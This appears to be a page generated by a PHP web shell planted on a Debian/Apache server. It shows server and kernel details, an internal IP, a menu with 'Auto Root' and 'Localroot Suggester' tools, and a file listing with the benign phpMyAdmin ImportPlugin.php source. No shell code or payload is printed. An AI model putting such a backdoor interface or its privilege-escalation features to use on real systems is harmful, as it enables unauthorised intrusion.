Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
phpmyadmin /
libraries /
classes /
Plugins /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Export
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Import
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Schema
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
Transformations
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
TwoFactor
[ DIR ]
drwxr-xr-x
2025-06-07 11:58
AuthenticationPlugin.php
9.66
KB
-rw-r--r--
2023-02-07 21:35
ExportPlugin.php
10.96
KB
-rw-r--r--
2023-02-07 21:35
IOTransformationsPlugin.php
2.25
KB
-rw-r--r--
2023-02-07 21:35
ImportPlugin.php
2.12
KB
-rw-r--r--
2023-02-07 21:35
Plugin.php
350
B
-rw-r--r--
2023-02-07 21:35
SchemaPlugin.php
2.46
KB
-rw-r--r--
2023-02-07 21:35
TransformationsInterface.php
791
B
-rw-r--r--
2023-02-07 21:35
TransformationsPlugin.php
1.68
KB
-rw-r--r--
2023-02-07 21:35
TwoFactorPlugin.php
3.69
KB
-rw-r--r--
2023-02-07 21:35
UploadInterface.php
557
B
-rw-r--r--
2023-02-07 21:35
Save
Rename
<?php /** * Abstract class for the import plugins */ declare(strict_types=1); namespace PhpMyAdmin\Plugins; use PhpMyAdmin\File; use PhpMyAdmin\Import; use PhpMyAdmin\Properties\Plugins\ImportPluginProperties; use PhpMyAdmin\Properties\Plugins\PluginPropertyItem; use function strlen; /** * Provides a common interface that will have to be implemented by all of the * import plugins. */ abstract class ImportPlugin implements Plugin { /** * Object containing the import plugin properties. * * @var ImportPluginProperties */ protected $properties; /** @var Import */ protected $import; final public function __construct() { $this->import = new Import(); $this->init(); $this->properties = $this->setProperties(); } /** * Plugin specific initializations. */ protected function init(): void { } /** * Handles the whole import logic * * @param array $sql_data 2-element array with sql data */ abstract public function doImport(?File $importHandle = null, array &$sql_data = []): void; /** * Gets the import specific format plugin properties * * @return ImportPluginProperties */ public function getProperties(): PluginPropertyItem { return $this->properties; } /** * Sets the export plugins properties and is implemented by each import plugin. */ abstract protected function setProperties(): ImportPluginProperties; /** * Define DB name and options * * @param string $currentDb DB * @param string $defaultDb Default DB name * * @return array DB name and options (an associative array of options) */ protected function getDbnameAndOptions($currentDb, $defaultDb) { $db_name = $defaultDb; $options = null; if (strlen((string) $currentDb) > 0) { $db_name = $currentDb; $options = ['create_db' => false]; } return [ $db_name, $options, ]; } public static function isAvailable(): bool { return true; } }